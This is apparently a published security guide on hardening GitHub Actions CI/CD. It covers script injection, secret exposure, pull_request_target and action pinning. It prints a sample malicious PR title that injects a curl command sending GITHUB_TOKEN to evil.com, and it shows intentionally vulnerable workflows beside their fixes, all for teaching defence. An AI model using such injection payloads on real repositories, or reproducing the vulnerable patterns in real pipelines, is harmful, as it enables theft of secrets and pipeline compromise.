GitHub Actions Security Best Practices: Script Injection, Secret Leaks and CI/CD Hardening
On this page
Why GitHub Actions Is a High-Value Target
GitHub Actions runs code with access to your source code, secrets, cloud credentials, and deployment pipelines. A compromised workflow means compromised production.
| Risk | Impact |
|---|---|
| Script injection | Run arbitrary commands in your CI |
| Secret exfiltration | Steal API keys, deploy tokens |
| Supply chain attack | Compromised third-party action |
| Privilege escalation | PR from fork gains write access |
| Artifact poisoning | Tampered build outputs |
Vulnerability 1: Script Injection via Expressions
The most common and dangerous vulnerability. GitHub expressions (${{ }}) are evaluated before the shell runs — they're string interpolation, not safe variables.
❌ Vulnerable Workflow
name: Greet PR Author
on: pull_request
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for the PR, ${{ github.event.pull_request.title }}!"
An attacker creates a PR with title:
"; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "
The workflow executes:
echo "Thanks for the PR, "; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "!"
Vulnerable Contexts (User-Controlled)
github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.head_commit.message
github.head_ref (branch name)
✅ Fixed: Use Environment Variables
- name: Greet safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Thanks for the PR: $PR_TITLE"
# $PR_TITLE is now a shell variable — NOT interpolated into the script
Vulnerability 2: Secret Exfiltration
# ❌ Secrets available to all steps including untrusted code
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test # If tests run user-contributed code, secrets can be stolen
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
DATABASE_URL: ${{ secrets.DATABASE_URL }}
✅ Minimize Secret Exposure
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test # No secrets here
deploy:
needs: test
runs-on: ubuntu-latest
environment: production # Requires approval
steps:
- uses: actions/checkout@v4
- name: Deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
run: ./deploy.sh
Vulnerability 3: Dangerous pull_request_target
pull_request_target runs with write permissions and access to secrets — even for PRs from forks!
# ❌ EXTREMELY DANGEROUS — runs forked PR code with write access + secrets
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out FORKED code!
- run: npm install && npm test # Runs attacker's code with your secrets
✅ Safe Pattern
on: pull_request_target
jobs:
label:
runs-on: ubuntu-latest
steps:
# ✅ Only checkout BASE repo code, not fork code
- uses: actions/checkout@v4
# No ref override — checks out base branch (safe)
# ✅ Only run trusted scripts from your own repo
- run: ./scripts/label-pr.sh
Vulnerability 4: Third-Party Action Supply Chain
# ❌ Using mutable tag — author can push malicious update
- uses: some-author/helpful-action@v1
# ❌ Using branch — changes anytime
- uses: some-author/helpful-action@main
# ✅ Pin to exact commit SHA
- uses: some-author/helpful-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
# ✅ Even better — use GitHub's official actions (well-maintained)
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
Automate Dependency Updates (Dependabot for Actions)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Hardened Workflow Template
name: Secure CI/CD
on:
push:
branches: [main]
pull_request:
branches: [main]
# ✅ Minimal permissions at workflow level
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm test
deploy:
needs: test
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
runs-on: ubuntu-latest
timeout-minutes: 15
environment: production # ✅ Requires manual approval
permissions:
contents: read
id-token: write # ✅ OIDC — no long-lived secrets
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789:role/deploy # ✅ OIDC, no keys
aws-region: us-east-1
- run: ./deploy.sh
GitHub Actions Security Checklist
- Never use
${{ }}expressions directly inrun:with user-controlled values - Pin third-party actions to full commit SHAs
- Set minimal
permissions:at workflow and job level - Use
environment:with required approvals for production deploys - Use OIDC (
id-token: write) instead of long-lived cloud credentials - Never checkout fork code with
pull_request_target - Limit secret access to only the jobs/steps that need them
- Set
timeout-minutes:to prevent runaway jobs - Enable Dependabot for GitHub Actions dependencies
- Audit workflow runs for unexpected commands
Published by SecureCodeReviews
This article is part of our original AI security and cybersecurity content library. We show publish and update dates, keep company and policy pages public, and update important guidance when material changes affect readers.
Planning an AI feature launch or security review?
We assess prompt injection paths, data leakage, tool use, access control, and unsafe AI workflows before they become production problems.
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
DevSecOps: The Complete Guide 2025-2026
Master DevSecOps with comprehensive practices, automation strategies, real-world examples, and the latest trends shaping secure development in 2025.
Shift-Left Security: How to Catch 85% of Vulnerabilities Before Production
Shift-left security moves security testing earlier in the SDLC — from production firefighting to design-time prevention. This guide shows how to implement security in requirements, design, coding, and CI/CD with measurable results.
IaC Security: Securing Terraform, Docker & Kubernetes Before Deployment
67% of IaC templates contain at least one misconfiguration. This guide covers Terraform security scanning, Docker hardening, Kubernetes RBAC, OPA policies, and automated IaC security in CI/CD pipelines.